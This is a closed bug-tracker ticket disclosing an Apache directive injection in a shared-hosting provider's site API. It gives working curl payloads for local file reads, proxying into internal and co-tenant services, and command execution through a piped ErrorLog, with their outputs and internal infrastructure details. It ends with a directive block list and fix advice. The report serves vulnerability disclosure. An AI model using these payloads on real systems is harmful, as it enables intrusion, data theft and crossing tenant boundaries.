- Status Closed
-
Assigned To
cbay - Private
Opened by byteoverride - 19.04.2026
Last edited by cbay - 20.04.2026
FS#318 - Arbitrary Apache directive injection via vhost_additional_directives enables LFI, SSRF to internal s
Summary
An authenticated user on a free account can inject arbitrary Apache directives through the `vhost_additional_directives` field on `PATCH /v1/site/{id}/`. The API performs zero validation every directive tested is written verbatim into the tenant's Apache VirtualHost config and applied on reload. This is a regression of #305, which was marked fixed.
The injection yields three attack primitives: local file inclusion via `Alias` (read any world-readable file on the bare-metal shared host), server-side request forgery via `RewriteRule [P]` (proxy requests from the server's IP to any address including internal services and co-tenant Apache instances), and command execution via piped `ErrorLog` (shell commands as the account user, even with SSH disabled). On a shared hosting platform where hundreds of tenants share the same physical server, this crosses trust boundaries.
CVSS 3.1: 9.6 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Scope is Changed: the vulnerable component is the API (`api.alwaysdata.com`), but impact lands on the underlying Apache infrastructure and co-tenant services that the attacker should have no access to.
* * *
Steps to Reproduce
Prerequisites: Free Alwaysdata account with one site using Apache (`httpd=apache`). Enable 2FA, create an API token at `admin.alwaysdata.com/token/add/`. Note your site ID from `GET /v1/site/`.
Step 1 Confirm zero validation (inject Alias for LFI)
TOKEN='YOUR_API_TOKEN'
SITE_ID='YOUR_SITE_ID'
curl -s -o /dev/null -w "%{http_code}" \
-u "$TOKEN:" -X PATCH \
"https://api.alwaysdata.com/v1/site/$SITE_ID/" \
-H "Content-Type: application/json" \
-d '{"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Location /readfile>\n Require all granted\n</Location>"}'
# Returns: 204 — accepted without any validation
Wait ~10 seconds for Apache reload, then:
curl -s "https://YOUR_ACCOUNT.alwaysdata.net/readfile"
Result: HTTP 200 — full `/etc/passwd` returned (1,764 bytes). First line: `root:x:0:0:root:/root:/bin/bash`. File contains all system accounts and every tenant account on the shared host, exposing usernames and UIDs.
The same technique reads any world-readable file. Reading the tenant's own Apache config at `/home/{account}/admin/config/apache/sites.conf` reveals the full server architecture: per-tenant Apache instances listen on internal ULA IPv6 addresses (pattern `fd00::7:XXXX:8080`), nginx terminates TLS on `:443` and reverse-proxies to them. This internal topology is not intended to be visible to tenants.
Step 2 SSRF via RewriteRule [P] (reaches internal services)
curl -s -o /dev/null -w "%{http_code}" \
-u "$TOKEN:" -X PATCH \
"https://api.alwaysdata.com/v1/site/$SITE_ID/" \
-H "Content-Type: application/json" \
-d '{"vhost_additional_directives": "RewriteEngine On\nRewriteRule ^/proxy/(.*)$ http://example.com/$1 [P,L]"}'
# Returns: 204
curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proxy/" # Returns: 200 — full body of example.com, proxied through Alwaysdata IP 185.31.40.30
`mod_proxy` and `mod_proxy_http` are loaded. `ProxyRequests Off` only blocks forward proxy — `RewriteRule [P]` reverse proxy is unrestricted. The attacker can target any URL reachable from the server, including:
- Co-tenant Apache instances on their internal ULA IPv6 addresses (`fd00::7:XXXX:8080`), bypassing all nginx frontend controls, TLS termination, WAF rules, Host-header routing, and IP allowlists. Each tenant's Apache is directly addressable.
- Internal management services on localhost (e.g., port 8083 returns `401 Unauthorized` — an authenticated management interface exists on the host).
- Other tenant application servers on port 8100 (Node.js, Python, Java apps bound to internal addresses).
The internal addresses are discoverable from the Apache config files readable via Step 1, or via command execution in Step 3.
Step 3 Command execution via piped ErrorLog
curl -s -o /dev/null -w "%{http_code}" \
-u "$TOKEN:" -X PATCH \
"https://api.alwaysdata.com/v1/site/$SITE_ID/" \
-H "Content-Type: application/json" \
-d '{"vhost_additional_directives": "ErrorLog \"|/bin/sh -c '"'"'id > /tmp/rce_proof; cat > /dev/null'"'"'\"\nAlias /proof /tmp/rce_proof\n<Location /proof>\n Require all granted\n</Location>"}'
# Returns: 204
curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proof" # Returns: uid=514115(atkhunt01) gid=514115(atkhunt01) groups=514115(atkhunt01)
Apache is compiled with `AP_HAVE_RELIABLE_PIPED_LOGS`. The piped `ErrorLog` directive spawns a shell process on Apache reload. The process runs as the account user (privilege drop occurs before pipe spawn). This grants arbitrary command execution even when SSH access is disabled for the account, making it an access control bypass on the SSH restriction.
Combined with LFI (Step 1), the attacker can discover the server is a bare-metal shared host (not a VM or container): hostname `http20`, Debian 12.13, kernel `6.12.69-alwaysdata`, AMD EPYC 7203P, 128 GB RAM, RAID arrays (`/dev/md2`–`md5`), dual NIC bonding, and a shared `/tmp` (tmpfs, 2GB) accessible to all tenants on the machine.
* * *
Why This Is Critical (Scope Change)
This is not equivalent to SSH access. The unique impact of directive injection:
1. Bypasses SSH-disabled restriction. Administrators can disable SSH per-account as a security control. Directive injection grants equivalent command execution through the API alone, rendering that control ineffective.
2. Crosses tenant boundaries via SSRF. The SSRF primitive reaches co-tenant Apache instances on internal IPv6 addresses that are not routable from the internet. Requests arrive at the tenant's Apache directly, bypassing nginx, TLS, WAF, rate limiting, and Host-header routing. This is a network path that does not exist for normal users — not even SSH users, unless they explicitly discover and target these addresses.
3. Exposes infrastructure topology. The LFI + RCE combination reveals the full architecture of the shared hosting platform: server hardware, kernel version, RAID layout, network bonding, internal DNS, per-tenant addressing scheme, and the existence of internal management interfaces. This is reconnaissance data that enables targeted attacks against the hosting infrastructure itself.
4. Zero input validation — complete regression of #305. Report #305 identified `Alias` injection via this field and was marked fixed. The current state shows no validation whatsoever on any directive. Every Apache directive valid in VirtualHost context is accepted: `Alias`, `ErrorLog` (piped), `CustomLog`, `RewriteRule [P]`, `ProxyPass`, `AddHandler`, `ScriptAlias`, `Include`, `Options`, `SetEnv`, `FcgidInitialEnv`, and arbitrary `<Directory>`/`<Location>`/`<If>` blocks. The fix for #305 either regressed or was never fully implemented.
* * *
## Affected Infrastructure
| Component | Detail |
| — | — |
| Server | `http20` — bare-metal, Debian 12.13, kernel 6.12.69-alwaysdata |
| Apache | 2.4.65 (Unix), PCRE 8.39, APR 1.7.2, 38 modules loaded |
| Co-tenants | Multiple Apache instances on `fd00::7:*:8080`, multiple app servers on `:8100` |
| Shared resources | `/tmp` (tmpfs 2GB) shared between all tenants, world-readable |
| Internal services | Management interface on `127.0.0.1:8083` (401), monitoring on `:4949` |
| PHP | 8.3/8.4, no `open_basedir`, no `disable_functions` |
* * *
## Impact
An attacker with a free account can:
- Read any world-readable file on the shared host, including system configuration, internal DNS topology, and all tenant usernames/UIDs from `/etc/passwd`
- Proxy requests to any internal service or co-tenant application, bypassing all frontend security controls
- Execute arbitrary commands, bypassing SSH-disabled restrictions
- Discover the full infrastructure topology of the shared hosting platform
- Write to shared paths (e.g., `/tmp/`) via `CustomLog` with attacker-controlled content
All from a single API call on a free account. No user interaction required.
* * *
## Recommended Fix
1. Immediate: Implement a strict allowlist of permitted directives for `vhost_additional_directives`. At minimum, block: `Alias`, `ErrorLog`, `CustomLog`, `RewriteRule` with `[P]` flag, `Include`, `ScriptAlias`, `ProxyPass`, `SetHandler`, `AddHandler cgi-script`, and `FcgidInitialEnv`.
2. Long-term: Parse each directive server-side before writing to config. Validate against Apache's directive context rules and reject anything not in an explicit allowlist. Consider whether `vhost_additional_directives` should exist at all for non-enterprise accounts.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task